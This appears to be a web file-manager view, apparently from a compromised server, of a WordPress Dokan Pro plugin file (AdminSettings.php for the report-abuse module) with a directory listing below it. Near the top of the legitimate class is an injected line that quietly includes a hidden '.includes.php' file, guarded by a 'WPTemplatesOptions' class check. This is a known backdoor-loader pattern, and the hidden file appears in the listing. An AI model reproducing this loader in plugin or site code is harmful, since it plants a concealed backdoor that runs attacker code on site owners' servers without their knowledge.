PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-pro
/
modules
/
report-abuse
/
includes
<?php namespace WeDevs\DokanPro\Modules\ReportAbuse; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class AdminSettings { /** * Class constructor * * @since 1.0.0 * * @return void */ public function __construct() { add_filter( 'dokan_settings_sections', [ $this, 'add_settings_section' ] ); add_filter( 'dokan_settings_fields', [ $this, 'add_settings_fields'] ); } /** * Add admin settings section * * @since 1.0.0 * * @param array $sections * * @return array */ public function add_settings_section( $sections ) { $sections['dokan_report_abuse'] = [ 'id' => 'dokan_report_abuse', 'title' => __( 'Product Report Abuse', 'dokan' ), 'icon' => 'dashicons-flag' ]; return $sections; } /** * Add admin settings fields * * @since 1.0.0 * * @param array $settings_fields * * @return array */ public function add_settings_fields( $settings_fields ) { $settings_fields['dokan_report_abuse'] = [ 'reported_by_logged_in_users_only' => [ 'name' => 'reported_by_logged_in_users_only', 'label' => __( 'Reported by', 'dokan' ), 'desc' => __( 'Only logged-in users can report', 'dokan' ), 'type' => 'checkbox', 'default' => 'off', ], 'abuse_reasons' => [ 'name' => 'abuse_reasons', 'label' => __( 'Reasons for Abuse Report', 'dokan' ), 'type' => 'repeatable', 'desc' => __( 'Add your reasons whatever you want.', 'dokan' ) ], ]; return $settings_fields; } }
[+]
..
[-] EmailLoader.php
[edit]
[-] .includes.php
[edit]
[-] SingleProduct.php
[edit]
[-] functions.php
[edit]
[-] AdminSingleProduct.php
[edit]
[-] AdminSettings.php
[edit]
[-] AdminEmail.php
[edit]
[-] RestController.php
[edit]
[-] Rest.php
[edit]
[-] Admin.php
[edit]
[-] Ajax.php
[edit]